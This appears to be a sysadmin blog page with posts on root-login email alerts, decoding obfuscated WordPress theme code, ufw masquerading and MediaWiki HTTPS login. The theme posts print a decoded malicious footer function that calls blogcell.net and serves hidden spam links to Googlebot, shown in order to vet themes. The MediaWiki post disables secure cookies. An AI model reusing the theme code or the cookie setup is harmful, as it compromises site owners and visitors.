One-liner to mail when someone logs in as root

This is a short post describing how to automatically send an email every time someone logs in as root on a linux server.
Add the following line to /root/.bash_profile if you are using bash as your default shell interpreter. Refer to /etc/passwd.

(echo "Subject: ALERT: servername Root Shell Access from `who | awk '{print $5}'`"; echo "ALERT - servername Root Shell Access on:' `date` `who`")| mail -s "root access on servername" user@example.com

This will send an email to user@example.com every time someone starts using the root shell.
Quite handy and can be a way to detect if your server has been compromised.

This has been tested on ubuntu 13.10 and requires that you have access to the mail command, available in the mailutils package.

Easy way to decode or decrypt eval gzinflate str_rot13 base64_decode variables

If you download and install many WordPress themes you will sometimes find themes that have encrypted lines or variables in the footer part of the theme, in the functions.php file or other included theme files.
I do not trust these lines of code and would not use a theme without knowing what code is being run. Therefore I decode these lines to determine if this is a theme I would like to use or just delete it because it contains dangerous code. Most of the time these encrypted lines just contain copyright information the authors of the theme don’t want you to change.

This is an example of how a encrypted variable might look like

echo(str_rot13('shapgvba purpx_urnqre(){vs(!(shapgvba_rkvfgf("purpx_shapgvbaf")&&shapgvba_rkvfgf("purpx_s_sbbgre"))){rpub (\'Guvf gurzr vf eryrnfrq haqre perngvir pbzzbaf yvprapr, nyy yvaxf va gur sbbgre fubhyq erznva vagnpg< /sbag>< /o>\');}}'));

Wordpress eval decode

The easy way to show the contents of this variable is copy the entire line into a new PHP file and replace the eval command with echo and save the file into file decode.php

Then you run the PHP file like this

# php decode.php

The result in this example should be

function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo (' < b>< font color=white size=4>This theme is released under creative commons licence, all links in the footer should remain intact< /font>');}}

I have included an image of the code in case it is not shown correctly in WordPress.
Wordpress eval result

I have written about this topic before, WordPress themes with eval and base64_decode lines but this is a much simpler way of showing the content of the unreadable variables.

ufw and IP masquerading

I’ve just upgraded my home server from Ubuntu 8.10 to 9.04 and experienced that my ufw firewall (iptables) would not route traffic from my local network to the Internet. My IP masquerading was not working anymore and since I had not documented the process when I set it up I had to search the Ubuntu pages to find the solution and came up with this.

The purpose of IP Masquerading is to allow machines with private, non-routable IP addresses on your network to access the Internet through the machine doing the masquerading. Traffic from your private network destined for the Internet must be manipulated for replies to be routable back to the machine that made the request. To do this, the kernel must modify the source IP address of each packet so that replies will be routed back to it, rather than to the private IP address that made the request, which is impossible over the Internet. Linux uses Connection Tracking (conntrack) to keep track of which connections belong to which machines and reroute each return packet accordingly. Traffic leaving your private network is thus “masqueraded” as having originated from your Ubuntu gateway machine. This process is referred to in Microsoft documentation as Internet Connection Sharing.

ufw Masquerading

IP Masquerading can be achieved using custom ufw rules. This is possible because the current back-end for ufw is iptables-restore with the rules files located in

/etc/ufw/*.rules

These files are a great place to add legacy iptables rules used without ufw, and rules that are more network gateway or bridge related.

The rules are split into two different files, rules that should be executed before ufw command line rules, and rules that are executed after ufw command line rules.

  • First, packet forwarding needs to be enabled in ufw. Two configuration files will need to be adjusted, in /etc/default/ufw change the
    DEFAULT_FORWARD_POLICY

    to “ACCEPT”:

    DEFAULT_FORWARD_POLICY="ACCEPT"

    Then edit /etc/ufw/sysctl.conf and uncomment:

    net.ipv4.ip_forward=1

    Similarly, for IPv6 forwarding uncomment:

    net.ipv6.conf.default.forwarding=1
  • Now we will add rules to the /etc/ufw/before.rules file. The default rules only configure the filter table, and to enable masquerading the nat table will need to be configured. Add the following to the top of the file just after the header comments:
    # nat Table rules
    *nat
    :POSTROUTING ACCEPT [0:0]
    
    # Forward traffic from eth1 through eth0.
    -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE
    
    # don't delete the 'COMMIT' line or these nat table rules won't be processed
    COMMIT

    The comments are not strictly necessary, but it is considered good practice to document your configuration. Also, when modifying any of the rules files in /etc/ufw, make sure these lines are the last line for each table modified:

    # don't delete the 'COMMIT' line or these rules won't be processed
    COMMIT

    For each Table a corresponding COMMIT statement is required. In these examples only the nat and filter tables are shown, but you can also add rules for the raw and mangle tables.

    [Note]
    In the above example replace eth0, eth1, and 192.168.0.0/24 with the appropriate interfaces and IP range for your network.
  • Finally, disable and re-enable ufw to apply the changes:
    sudo ufw disable && sudo ufw enable

IP Masquerading should now be enabled. You can also add any additional FORWARD rules to the /etc/ufw/before.rules. It is recommended that these additional rules be added to the ufw-before-forward chain.

Source: https://help.ubuntu.com/9.04/serverguide/C/firewall.html

WordPress themes with eval and base64_decode lines

Lately I’ve been downloading and reading myself up on WordPress themes and stumbled upon something curious. Many themes had encrypted code/lines starting with the following code
Example 1

eval(base64_decode('abcdefgh....')

and other variations like
Example 2

eval(gzinflate(str_rot13(base64_decode('abcdefgh...')

This made me curious about why would someone make such an effort to obfuscate their code. Personally I would like to know what code my themes are running so it was not an option not to decode these eval lines in my WordPress themes. This made me wonder if many of my themes that had these lines of code and a simple command from the console would reveal all my themes that had encoded code from the wp-content/themes katalog on your WordPress installation

grep eval |grep decode | grep php * -R

I had several themes containing code of hiding code and some of the themes had hacks that made traffic redirects to other sites.

Decoding Example 1 can be performed by using the following script and inserting the encrypted text in variable $a.

The PHP decoder script
The encrypted text is taken from a unnamed random theme I have downloaded.

<?php
$a = 'ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO3ByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApO2lmKCRhZHdiX3RtcFsxXSE9IiIpeyRhZHdiX29wdCA9IGFycmF5KHRpbWUoKSwgJGFkd2JfdG1wWzFdKTskd3BkYi0+cXVlcnkoIlVQREFURSAkd3BkYi0+b3B0aW9ucyBTRVQgb3B0aW9uX3ZhbHVlPSciLm15c3FsX2VzY2FwZV9zdHJpbmcoc2VyaWFsaXplKCRhZHdiX29wdCkpLiInIFdIRVJFIG9wdGlvbl9uYW1lPSdhZHdiX29wdCciKTt9fWlmIChlcmVnaSgiZ29vZ2xlYm90IiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXtpZiAoJGFkd2Jfb3B0WzFdIT0iIillY2hvICRhZHdiX29wdFsxXTt9fSBhZGRfYWN0aW9uKCJ3cF9mb290ZXIiLCAid3BfZ2V0X2Zvb3Rlcl9tZXRhIik7';
function a($a){ return base64_decode($a);}
while(!$b){
        if(substr($a,0,4) == 'eval' || !$count){
                $a = a(str_replace(Array('eval(base64_decode(\'','\')));'),'',$a);
                $count++;
        }else
                $b = true;
}
echo $a;
?>

To run it from a console window you can do the following, not as a privileged user in case it does something nasty.

php scriptname.php > result.txt

My text would output the following text to the result.txt file

function wp_get_footer_meta() {
global $wpdb;
if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);
else{$adwb_opt = array(0,'');
$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");
}
if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';
$adwb_get  = '/wpam/';$adwb_soc  = @fsockopen($adwb_host,80,$_en,$_es,30);
if ($adwb_soc) {
@stream_set_timeout($adwb_soc,30);
@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");
$adwb_data = '';
while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);
$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));
}
@fclose($adwb_soc);
preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp);
if($adwb_tmp[1]!=""){$adwb_opt = array(time(), $adwb_tmp[1]);
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' HERE option_name='adwb_opt'");
}
}
if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT'])){if ($adwb_opt[1]!="")echo $adwb_opt[1];
}
} 
add_action("wp_footer", "wp_get_footer_meta");

You should then decide if the decoded code is something you would like to run on your WordPress site. Some themes are doing this to hide their WordPress theme tricks while other do it to do nasty stuff like redirecting traffic from your site to other sites, etc.

Source: The decoder script was found here

Enable secure / https SSL login on mediaWiki 1.13.3

This is how I’ve enabled secure SSL login through https on a mediaWiki 1.13.3 installation. This description might work on other versions of mediaWiki, but that has not been tested.
mediWiki doesn’t support SSL login out of the box so a little hack has to be performed.

First you need to tell the webserver, in my case my Apache server that mediaWiki login requests should be redirected to the SSL page
Add the following code lines to your Apache config files or the mediaWiki .htaccess file

Rewrite login url to use httpsRewriteEngine On

RewriteCond %{REQUEST_URI} ^/index.php$
RewriteCond %{QUERY_STRING} ^title=Special:UserLogin
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteRule ^(.*)$ https://%{SERVER_NAME}/$1 [R]

Rewrite non login url to use normal http

RewriteEngine On
RewriteCond %{QUERY_STRING} ^(?!title=Special:Userlogin)
RewriteRule ^(.*)$ http://%{SERVER_NAME}$1 [R]

Source: http://wiki.epfl.ch/cfavi/mediawiki

In addition to the above configuration you have to create a PHP script to fix some cookies problems since the cookie was made on an https address but normal surfing is done on http mode.

Create a file named ssl_login.php and insert the following code into it

# Secure the login page.

# Secure cookies hurt us because they are set on the https page
# but inaccessible from the http page, so we lose our previous session.
$wgCookieSecure = false;

# Don't process JavaScript and CSS files.
# Otherwise, a secure page will be tagged as "partially secure" because these
# files are being hit via http.
if (checkQS('gen', 'js')) {return;}
if (checkQS('gen', 'css') || checkQS('ctype', 'text/css')) {return;}

# Get page title from query string.
$pageTitle = array_key_exists('title', $_GET)
     ? $_GET['title']
     : "";

# Get server variables
$domain = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];

# Are we on the sign-in page or not?
# Logic works for everything except Special pages which apparently don't
# even run LocalSettings.php.
$onSignInPage = false;
$signInPageName = 'special:userlogin';  // lowercase on purpose
if ( strtolower($pageTitle) == $signInPageName ) {
  $onSignInPage = true;
} elseif ( strstr(strtolower($uri), "/$signInPageName") ) {
  $onSignInPage = true;
} else {
  $onSignInPage = false;
}

# Secure only the Special:Userlogin page.
# Un-secure all other pages.
if ( !checkServerVariable('HTTPS', 'on') && $onSignInPage ) {
  header('Location: https://' . $domain . $uri);
} elseif ( checkServerVariable('HTTPS', 'on') && ! $onSignInPage ) {
  header('Location: http://' . $domain . $uri);
} else {
  // nothing
}

function checkQS($key, $value) {
  return checkArrayValue($_GET, $key, $value);
}

function checkServerVariable($var, $value) {
  return checkArrayValue($_SERVER, $var, $value);
}

function checkArrayValue($arr, $key, $value) {
  return array_key_exists($key, $arr) && $arr[$key] == $value;
}

Include this file in your LocalSettings.php file like this

# Fix to use SSL login
include '/full/path/to/htdocs/ssl_login.php';

Source: http://www.mediawiki.org/wiki/Manual:Configuration_tips_and_tricks#HTTPS_on_Login_only

Remember to restart your apache webserver to see the changes.